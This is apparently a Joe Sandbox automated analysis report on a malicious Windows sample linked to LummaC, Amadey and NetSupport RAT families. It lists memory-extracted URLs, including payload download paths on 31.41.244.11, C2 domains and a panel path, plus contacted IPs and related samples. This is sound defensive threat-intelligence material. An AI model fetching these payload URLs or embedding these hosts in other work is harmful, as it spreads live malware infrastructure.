https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://%s/testpage.htm	FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	false	unknown
https://treehoneyi.click/apiy	81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designers	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://geo.netsupportsoftware.com	FuturreApp.exe, 00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/6	81c86993fb.exe, 00000009.00000002.2771407342.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769890676.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2770484240.00000000006C3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/-	81c86993fb.exe, 00000009.00000003.2590033856.0000000000623000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://%s/fakeurl.htm	FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	false	unknown
http://www.sajatypeworks.com	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/hsts.html	954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	high
http://www.founder.com.cn/cn/cThe	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/transfer.aspx	855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	false	high
http://geo.netsupportsoftware.com/location/loca.aspc	FuturreApp.exe, 00000007.00000002.2992005380.0000000001609000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.urwpp.deDPlease	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe8	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/balance.aspx	855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.netsupportschool.com/tutor-assistant.asp	YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe6	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exe5	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/api)	81c86993fb.exe, 00000009.00000003.2614806232.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/14436606/23354	855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exed	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/history.aspx	855fa1aa94.exe, 0000000A.00000000.2603259057.00000000000E2000.00000002.00000001.01000000.00000013.sdmp	false	high
https://treehoneyi.click/api$	81c86993fb.exe, 00000009.00000003.2662058371.0000000005405000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://geo.netsupportsoftware.com/location/loca.aspMC	FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/s	81c86993fb.exe, 00000009.00000003.2687351251.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694068876.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	81c86993fb.exe, 00000009.00000003.2638492868.0000000005445000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	81c86993fb.exe, 00000009.00000003.2592202642.0000000005460000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2592272211.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614855627.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614666984.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/alt-svc.html	954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	high
http://127.0.0.1	YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	false	high
https://www.ecosia.org/newtab/	81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.symauth.com/cps0(	YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.carterandcone.coml	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/	81c86993fb.exe, 00000009.00000003.2770484240.00000000006C3000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694246694.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2709327903.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2590033856.000000000063D000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2662510601.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2687662908.000000000540C000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click:443/apij	81c86993fb.exe, 00000009.00000003.2769953130.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000623000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://geo.netsupportsoftware.com/location/loca.aspKr	FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/frere-user.html	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	high
https://treehoneyi.click/F	81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2771407342.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769890676.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2770484240.00000000006C3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.symauth.com/rpa00	YIFtngJ.exe, 00000006.00000003.2450288231.0000000005195000.00000004.00000020.00020000.00000000.sdmp	false	high
http://geo.netsupportsoftware.comlocation/loca.asp	FuturreApp.exe, 00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.microsof	81c86993fb.exe, 00000009.00000003.2592202642.0000000005460000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	unknown
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/151334531/YIFtngJ.exe	skotes.exe, 00000005.00000002.3000881304.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3000881304.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/Y	81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2709327903.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	81c86993fb.exe, 00000009.00000003.2592272211.0000000005434000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/W	81c86993fb.exe, 00000009.00000003.2709327903.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://sci.libertyreserve.com/	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000A.00000000.2603259057.00000000000E2000.00000002.00000001.01000000.00000013.sdmp, 855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	false	high
http://geo.netsupportsoftware.com/location/loca.asp-	FuturreApp.exe, 00000007.00000002.2992005380.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false	high
http://html4/loose.dtd	977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	high
http://www.fontbureau.com/designersG	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp	954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	unknown
http://www.fontbureau.com/designers/?	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	false	high
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	false	high
http://www.pci.co.uk/supportsupport	YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exeLocal	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designers?	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apibu	81c86993fb.exe, 00000009.00000003.2709327903.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://docs.rs/getrandom#nodejs-es-module-support	random[2].exe0.5.dr	false	high
http://127.0.0.1RESUMEPRINTING	YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	false	high
http://31.41.244.11/files/151334531/YIFtngJ.exeP	skotes.exe, 00000005.00000002.3000881304.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/martin/random.exeQ	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.tiro.com	855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/wicked/random.exe5	skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/history.aspxS	855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	81c86993fb.exe, 00000009.00000003.2592202642.0000000005460000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2592272211.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614855627.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614666984.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	855fa1aa94.exe, 0000000A.00000002.2692491331.00000000079D5000.00000004.00000020.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000A.00000002.2693344577.0000000008B92000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.css	977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
185.215.113.64	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
147.45.113.159	home.twentytk20pn.top	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.21.91.209	treehoneyi.click	United States	13335	CLOUDFLARENETUS	true
104.26.0.231	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578490
Start date and time:	2024-12-19 20:09:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/30@8/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:11:03	API Interceptor	263491x Sleep call for process: skotes.exe modified
14:11:27	API Interceptor	8x Sleep call for process: 81c86993fb.exe modified
14:11:32	API Interceptor	1x Sleep call for process: 855fa1aa94.exe modified
14:11:47	API Interceptor	427x Sleep call for process: FuturreApp.exe modified
19:10:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.226.108.155	s3hvuz3XS0.exe	Get hash	malicious	Cryptbot	Browse
	65AcuGF7W7.exe	Get hash	malicious	Cryptbot	Browse
	UYJ0oreVew.exe	Get hash	malicious	Unknown	Browse
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	vOizfcQSGf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse
	k01VJh7Ubf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	5j0fix05fy.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	Merge.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	lFxGd66yDa.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	Jjv9ha2GKn.exe	Get hash	malicious	NetSupport RAT, DarkTortilla	Browse	104.26.0.231
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Update.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
treehoneyi.click	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.180.113
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
httpbin.org	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	98.85.100.80
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	34.226.108.155
	SwJD3kiOwV.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	s3hvuz3XS0.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	65AcuGF7W7.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	8dw8GAvqmM.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	UYJ0oreVew.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
home.twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	147.45.113.159
	SwJD3kiOwV.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	8dw8GAvqmM.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	UYJ0oreVew.exe	Get hash	malicious	Unknown	Browse	194.87.47.113
	L1SrJoDQvG.exe	Get hash	malicious	Unknown	Browse	194.87.47.113
	Ry6ot1YULB.exe	Get hash	malicious	Unknown	Browse	194.87.47.113
	Cc8zEnIDB2.exe	Get hash	malicious	Unknown	Browse	194.87.47.113
	wlEp68Few5.exe	Get hash	malicious	Unknown	Browse	194.87.47.113
	rJvOqHxkuI.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	194.87.47.113

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
